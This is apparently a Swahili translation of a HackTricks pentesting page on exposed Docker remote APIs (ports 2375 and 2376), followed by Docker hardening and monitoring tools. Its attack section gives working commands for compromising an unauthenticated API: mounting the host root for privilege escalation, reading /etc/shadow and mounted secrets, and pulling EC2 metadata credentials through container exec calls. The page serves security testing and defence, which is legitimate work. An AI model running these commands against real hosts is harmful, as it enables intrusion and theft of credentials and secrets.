2375, 2376 Pentesting Docker
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Misingi ya Docker
Nini
Docker ni jukwaa la mstari wa mbele katika tasnia ya containerization, likiongoza uvumbuzi endelevu. Linawezesha utengenezaji na usambazaji wa programu kwa urahisi, kuanzia za jadi hadi za kisasa, na linahakikisha kuanzishwa kwao kwa usalama katika mazingira mbalimbali.
Miundombinu ya msingi ya Docker
- containerd: Hii ni core runtime kwa containers, inayehusika na usimamizi kamili wa lifecycle ya container. Hii inajumuisha kushughulikia image transfer and storage, pamoja na kusimamia execution, monitoring, and networking ya containers. Uchambuzi wa kina juu ya containerd umefafanuliwa zaidi.
- The container-shim inacheza jukumu muhimu kama mpatanishi katika kushughulikia headless containers, ikichukua udhibiti kutoka kwa runc mara baada ya containers kuanzishwa.
- runc: Inathaminiwa kwa uwezo wake wa lightweight and universal container runtime, runc inaendana na OCI standard. Inatumiwa na containerd kuanzisha na kusimamia containers kulingana na OCI guidelines, ikitokea kutoka kwa asili ya libcontainer.
- grpc ni muhimu kwa kuwawezesha mawasiliano kati ya containerd na docker-engine, ikihakikisha maingiliano yenye ufanisi.
- OCI ni muhimu kwa kudumisha OCI specifications za runtime na images, na matoleo ya hivi karibuni ya Docker yanatii viwango vya OCI image and runtime.
Amri za msingi
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
Containerd
Containerd ilitengenezwa mahsusi kutumikia mahitaji ya majukwaa ya container kama Docker na Kubernetes, miongoni mwa mengine. Inalenga kurahisisha utekelezaji wa containers kwenye mifumo mbalimbali ya uendeshaji, ikiwa ni pamoja na Linux, Windows, Solaris, na nyingine, kwa kutenganisha kazi maalum za mfumo wa uendeshaji na miito ya mfumo. Lengo la Containerd ni kujumuisha tu vipengele muhimu vinavyohitajika na watumiaji wake, ikijitahidi kuondoa vipengele visivyohitajika. Hata hivyo, kutimiza lengo hili kikamilifu kunatambuliwa kuwa changamoto.
Uamuzi muhimu wa muundo ni kwamba Containerd haitashughuliki na mitandao. Mitandao inachukuliwa kuwa kipengele muhimu katika mifumo iliyosambazwa, yenye changamoto kama Software Defined Networking (SDN) na ugundaji wa huduma (service discovery) ambazo zinatofautiana sana kutoka jukwaa moja hadi jingine. Kwa hivyo, Containerd inaacha nyanja za mitandao zikasimamiwe na majukwaa inayounga mkono.
Wakati Docker inatumia Containerd kuendesha containers, ni muhimu kutambua kwamba Containerd inaunga mkono tu sehemu ya utendaji wa Docker. Hasa, Containerd haina uwezo wa usimamizi wa mitandao uliopo kwenye Docker na haisaidii kuunda Docker swarms moja kwa moja. Tofauti hii inaonyesha jukumu lililolenga la Containerd kama mazingira ya runtime ya container, likimkabidhi majukwaa linayojumuishwa nayo kazi za utendaji maalumu zaidi.
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
Podman
Podman ni open-source container engine inayofuatilia Open Container Initiative (OCI) standards, iliyotengenezwa na kudumishwa na Red Hat. Inatofautiana na Docker kwa sifa kadhaa za kipekee, hasa daemonless architecture na msaada wa rootless containers, zikiwezesha watumiaji kuendesha containers bila ruhusa za root.
Podman imeundwa ili kuendana na API ya Docker, ikiruhusu matumizi ya amri za Docker CLI. Ulinganifu huu unapanua kwa ekosistimu yake, inayojumuisha zana kama Buildah kwa ajili ya kujenga container images na Skopeo kwa operesheni za image kama push, pull, na inspect. Maelezo zaidi juu ya zana hizi yanaweza kupatikana kwenye GitHub page.
Tofauti Muhimu
- Architecture: Tofauti na mtindo wa client-server wa Docker ulio na daemon kwenye background, Podman hufanya kazi bila daemon. Ubunifu huu una maana containers zinaendesha kwa ruhusa za mtumiaji anayezianzisha, na kuboresha usalama kwa kuondoa hitaji la root access.
- Systemd Integration: Podman inaunganisha na systemd kusimamia containers, ikiruhusu usimamizi wa containers kupitia systemd units. Hii inatofautiana na matumizi ya Docker ya systemd hasa kwa kusimamia mchakato wa Docker daemon.
- Rootless Containers: Uwezo muhimu wa Podman ni kuendesha containers kwa ruhusa za mtumiaji aliyezianzisha. Njia hii inapunguza hatari zinazotokana na uvunjaji wa container kwa kuhakikisha washambuliaji wanapata tu ruhusa za mtumiaji aliyeathirika, na si root access.
Njia ya Podman inatoa mbadala salama na yenye kubadilika kwa Docker, ikisisitiza usimamizi wa ruhusa za watumiaji na ulinganifu na workflows za Docker zilizopo.
Tip
Kumbuka kwamba kwa kuwa podam inakusudia kuunga mkono API ile ile kama docker, unaweza kutumia amri zile zile na podman kama unavyotumia na docker kama:
podman --version podman info pdoman images ls podman ls
Taarifa za Msingi
Remote API inafanya kazi kwa chaguo-msingi kwenye port 2375 wakati imewezeshwa. Huduma kwa chaguo-msingi haitahitaji uthibitishaji, ambayo inamruhusu mshambulizi kuanzisha docker container yenye ruhusa za juu. Kwa kutumia Remote API mtu anaweza kuambatisha host / (root directory) kwa container na kusoma/kuandika faili za mazingira ya host.
Porti ya chaguo-msingi: 2375
PORT STATE SERVICE
2375/tcp open docker
Uorodheshaji
Kwa mkono
Kumbuka kwamba ili kuorodhesha docker API unaweza kutumia amri ya docker au curl kama katika mfano ufuatao:
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
Ikiwa unaweza kuwasiliana na API ya docker ya mbali kwa kutumia amri ya docker unaweza kutekeleza yoyote ya docker amri zilizotajwa hapo awali ili kuingiliana na huduma.
Tip
Unaweza
export DOCKER_HOST="tcp://localhost:2375"na epuka kutumia kigezo cha-Hna amri ya docker
Fast privilege escalation
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
Curl
Wakati mwingine utaona 2376 ikifunguka kwa endpoint ya TLS. Sijaweza kuungana nayo kwa docker client lakini inawezekana kufanya hivyo kwa curl.
#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
Ikiwa unataka maelezo zaidi kuhusu hili, maelezo zaidi yanapatikana mahali nilipokopa amri hizi: https://securityboulevard.com/2019/02/abusing-docker-api-socket/
Otomatiki
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
Compromising
Kwenye ukurasa ufuatao unaweza kupata njia za escape from a container:
Kwa kutumia vibaya hili, inawezekana kufanya escape from a container; unaweza kuendesha container dhaifu kwenye mashine ya mbali, escape from it, na compromise the machine:
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py
Privilege Escalation
Ikiwa uko ndani ya mashine mwenyeji inayotumia docker, unaweza read this information to try to elevate privileges.
Kugundua siri ndani ya Docker containers zinazoendesha
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
Angalia env (environment variable section) kwa secrets na unaweza kupata:
- Passwords.
- Ip’s.
- Ports.
- Paths.
- Others… .
Ikiwa unataka kutoa faili:
docker cp <docket_id>:/etc/<secret_01> <secret_01>
Kuhakikisha usalama wa Docker yako
Kuhakikisha usalama wa usakinishaji na matumizi ya Docker
- Unaweza kutumia zana https://github.com/docker/docker-bench-security ili kukagua usakinishaji wako wa Docker uliopo.
./docker-bench-security.sh- Unaweza kutumia zana https://github.com/kost/dockscan ili kukagua usakinishaji wako wa Docker uliopo.
dockscan -v unix:///var/run/docker.sock- Unaweza kutumia zana https://github.com/genuinetools/amicontained kuona privileges ambazo container itakuwa nazo inapotekelezwa kwa chaguzi tofauti za usalama. Hii ni muhimu ili kuelewa athari za kutumia baadhi ya chaguzi za usalama kuendesha container:
docker run --rm -it r.j3ss.co/amicontaineddocker run --rm -it --pid host r.j3ss.co/amicontaineddocker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained
Kuhakikisha usalama wa Docker Images
- Unaweza kutumia docker image ya https://github.com/quay/clair ili iiskani Docker images zako nyingine na kupata vulnerabilities.
docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image
Kuhakikisha usalama wa Dockerfiles
- Unaweza kutumia zana https://github.com/buddy-works/dockerfile-linter ili kukagua Dockerfile yako na kupata aina zote za misconfigurations. Kila misconfiguration itapewa ID; unaweza kupata hapa https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md jinsi ya kurekebisha kila moja yao.
dockerfilelinter -f Dockerfile
.png)
- Unaweza kutumia zana https://github.com/replicatedhq/dockerfilelint ili kukagua Dockerfile yako na kupata aina zote za misconfigurations.
dockerfilelint Dockerfile
.png)
- Unaweza kutumia zana https://github.com/RedCoolBeans/dockerlint ili kukagua Dockerfile yako na kupata aina zote za misconfigurations.
dockerlint Dockerfile
.png)
- Unaweza kutumia zana https://github.com/hadolint/hadolint ili kukagua Dockerfile yako na kupata aina zote za misconfigurations.
hadolint Dockerfile
.png)
Kurekodi shughuli zenye shaka
- Unaweza kutumia zana https://github.com/falcosecurity/falco kugundua tabia zenye shaka katika containers zinazoendesha.
- Angalia katika kipande kinachofuata jinsi Falco inavyotengeneza module ya kernel na kuiingiza. Baada yake, inapakia rules na anza kurekodi shughuli zenye shaka. Katika kesi hii imetambua kontena 2 zilizopewa ruhusa zilizoanzishwa, mojawapo ikiwa na mount nyeti, na baada ya sekunde chache iligundua kuwa shell ilifunguliwa ndani ya mojawapo ya kontena.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
Ufuatiliaji wa Docker
Unaweza kutumia auditd kufuatilia Docker.
Marejeo
- https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html
- https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


